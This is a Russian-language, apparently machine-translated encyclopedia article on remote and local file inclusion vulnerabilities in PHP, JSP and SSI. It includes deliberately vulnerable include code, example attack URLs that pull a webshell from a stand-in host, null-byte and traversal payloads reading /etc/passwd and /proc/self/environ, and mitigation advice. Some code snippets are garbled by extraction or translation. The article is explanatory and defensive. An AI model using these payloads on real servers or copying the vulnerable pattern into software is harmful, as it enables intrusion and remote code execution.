Уязвимость включения файла является типом веб - уязвимости , которые наиболее часто встречаются , чтобы повлиять на веб - приложение , которые полагаются на скриптовое время выполнения . Эта проблема возникает, когда приложение создает путь к исполняемому коду с использованием переменной, контролируемой злоумышленником, таким образом, чтобы злоумышленник мог контролировать, какой файл выполняется во время выполнения. Уязвимость, связанная с включением файлов, отличается от обычной атаки с обходом каталогов , поскольку обход каталога является способом получения неавторизованного доступа к файловой системе , а уязвимость, связанная с включением файлов, подрывает то, как приложение загружает код для выполнения. Успешное использование уязвимости, связанной с включением файлов, приведет кудаленное выполнение кода на веб-сервере, на котором запущено уязвимое веб-приложение. Злоумышленник может использовать удаленное выполнение кода для создания веб-оболочки на веб-сервере, которая может использоваться для искажения веб-сайта .
Типы включения
Удаленное включение файлов
Включение удаленного файла ( RFI ) происходит, когда веб-приложение загружает и выполняет удаленный файл. Эти удаленные файлы обычно получаются в форме HTTP или FTP URI в качестве пользовательского параметра для веб-приложения.
Включение локального файла
Локальное включение файлов ( LFI ) похоже на уязвимость удаленного включения файлов, за исключением того, что вместо включения удаленных файлов для выполнения могут быть включены только локальные файлы, то есть файлы на текущем сервере. Эта проблема по-прежнему может приводить к удаленному выполнению кода, включая файл, содержащий данные, контролируемые злоумышленником, такие как журналы доступа веб-сервера.
Языки программирования
PHP
В PHP основная причина связана с использованием непроверенного пользовательского ввода с функцией файловой системы, которая включает файл для выполнения. Наиболее примечательными являются include
и require
заявления. Большинство уязвимостей может быть отнесено на счет начинающих программистов, не знакомых со всеми возможностями языка программирования PHP. В языке PHP есть директива, которая, если она включена, позволяет функциям файловой системы использовать URL-адрес для получения данных из удаленных мест. [1] Директива присутствует allow_url_fopen
в версиях PHP <= 4.3.4 и allow_url_include
начиная с PHP 5.2.0. В PHP 5.x эта директива отключена по умолчанию, в предыдущих версиях она была включена по умолчанию. [2] Чтобы воспользоваться уязвимостью, злоумышленник изменит переменную, передаваемую одной из этих функций, чтобы она включила вредоносный код с удаленного ресурса. Чтобы уменьшить эту уязвимость, все вводимые пользователем данные должны быть проверены перед использованием. [3] [4]
Пример
Рассмотрим этот сценарий PHP, который включает файл, указанный в запросе:
php if ( isset ( $ _GET [ 'language' ])) { include ( $ _GET [ 'language' ] . '.php' ); } ?>
< form method = "get" > < select name = "language" > < option value = "english" > английский option > < option value = "french" > французский option > ... select > < input type = "submit" > form >
Разработчик намеревался прочитать english.php
или french.php
, что изменит поведение приложения для отображения языка по выбору пользователя. Но можно ввести другой путь с помощью language
параметра.
/vulnerable.php?language=http://evil.example.com/webshell.txt?
- внедряет удаленно размещенный файл, содержащий вредоносный код (включая удаленный файл)/vulnerable.php?language=C:\\ftp\\upload\\exploit
- Выполняет код из уже загруженного файла с именемexploit.php
(уязвимость включения локального файла)/vulnerable.php?language=C:\\notes.txt%00
- пример использования метасимвола NULL для удаления суффикса, разрешающего доступ к файлам, отличным от . Это использование инъекции нулевого байта было исправлено в PHP 5.3 и больше не может использоваться для атак LFI / RFI. [5].php
.php
/vulnerable.php?language=../../../../../etc/passwd%00
- позволяет злоумышленнику прочитать содержимое/etc/passwd
файла в Unix-подобной системе с помощью атаки обхода каталогов ./vulnerable.php?language=../../../../../proc/self/environ%00
- позволяет злоумышленнику прочитать содержимое/proc/self/environ
файла в Unix-подобной системе с помощью атаки обхода каталогов . Злоумышленник может изменить заголовок HTTP (например,User-Agent
) в этой атаке на PHP-код для использования удаленного выполнения кода .
Лучшее решение в этом случае - использовать белый список приемлемых языковых параметров. Если нельзя использовать надежный метод проверки ввода, такой как белый список, то полагайтесь на фильтрацию ввода или проверку переданного пути, чтобы убедиться, что он не содержит непреднамеренных символов и шаблонов символов. Однако для этого может потребоваться предвидеть все возможные проблемные комбинации символов. Более безопасным решением является использование предопределенного оператора Switch / Case для определения файла, который нужно включить, вместо использования URL-адреса или параметра формы для динамического создания пути.
JavaServer Pages (JSP)
JavaServer Pages (JSP) - это язык сценариев, который может включать файлы для выполнения во время выполнения.
Пример
Следующий сценарий уязвим для уязвимости включения файлов:
<% String p = запрос . getParameter ( "p" ); @include file = "<% =" включает / "+ p +" . jsp " %> "%>
/vulnerable.jsp?p=../../../../var/log/access.log%00
- В отличие от PHP, JSP по-прежнему подвержен инъекции нулевого байта, и этот параметр будет выполнять команды JSP, найденные в журнале доступа веб-сервера.
Серверные компоненты (SSI)
Server Side Include очень редко и , как правило , не включены на веб - сервере по умолчанию а. Серверное включение можно использовать для удаленного выполнения кода на уязвимом веб-сервере. [6]
Пример
Следующий код уязвим для уязвимости удаленного включения файлов:
< html > < head > < title > Тестовый файл title > head > < body > body > html >
Приведенный выше код не является XSS-уязвимостью , а скорее включает новый файл, который должен быть выполнен сервером.
Смотрите также
- Атака (вычисление)
- Внедрение кода
- Metasploit Project , инструмент для тестирования на проникновение с открытым исходным кодом, который включает тесты на RFI.
- SQL-инъекция
- Угроза (компьютер)
- w3af , сканер безопасности веб-приложений с открытым исходным кодом
- Уязвимость учетных данных по умолчанию
Рекомендации
- ^ "Использование удаленных файлов" . PHP . Проверено 3 марта 2013 года .
- ^ «Список директив php.ini» . PHP . Проверено 21 октября 2016 года .
- ^ «Включение удаленного файла» . Консорциум безопасности веб-приложений . Проверено 3 марта 2013 года .
- ^ «CWE-98: неправильный контроль имени файла для инструкции Include / Require в программе PHP ('Включение удаленного файла PHP')» . Перечень общих слабых мест (CWE) . Митра . Проверено 3 марта 2013 года .
- ^ «PHP :: Request # 39863 :: file_exists () без уведомления обрезает после нулевого байта» . bugs.php.net . Проверено 21 октября 2016 .
- ^ «Учебное пособие по Apache httpd: Введение в серверные компоненты - HTTP-сервер Apache версии 2.4» . httpd.apache.org . Проверено 21 октября 2016 .
Внешние ссылки
- Включение удаленного файла в Консорциуме безопасности веб-приложений
- Включение локального файла
- Локальное включение и удаление файлов WordPress в справке WP Hacked